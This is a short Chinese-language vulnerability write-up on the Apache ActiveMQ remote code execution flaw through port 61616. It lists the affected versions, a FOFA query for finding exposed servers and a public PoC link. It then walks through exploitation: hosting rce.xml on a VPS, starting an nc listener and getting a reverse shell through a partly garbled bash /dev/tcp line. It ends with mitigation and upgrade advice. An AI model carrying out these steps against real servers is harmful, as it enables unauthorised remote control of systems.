ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
FOFA:app="APACHE-ActiveMQ" && port="61616"
PoC地址:https://github.com/trganda/ActiveMQ-RCE
把项目Get到本地,导入IDEA中运行
直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11
PS:这种一般是你idea的 配置文件iml 与 项目中 配置的jdk版本是不一致导致的
这里需要安装jdk11,配置项目
漏洞利用
修改Main.java以下两处
反弹shell
将rce.xml,上传至vps
bash
-c
& /dev/tcp/your-ip/6666 0>&1]]>
利用python开启http服务
nc开启监听
运行Main.java
成功反弹shell
临时缓解方案
通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
升级修复方案
目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16
https://github.com/apache/activemq/tags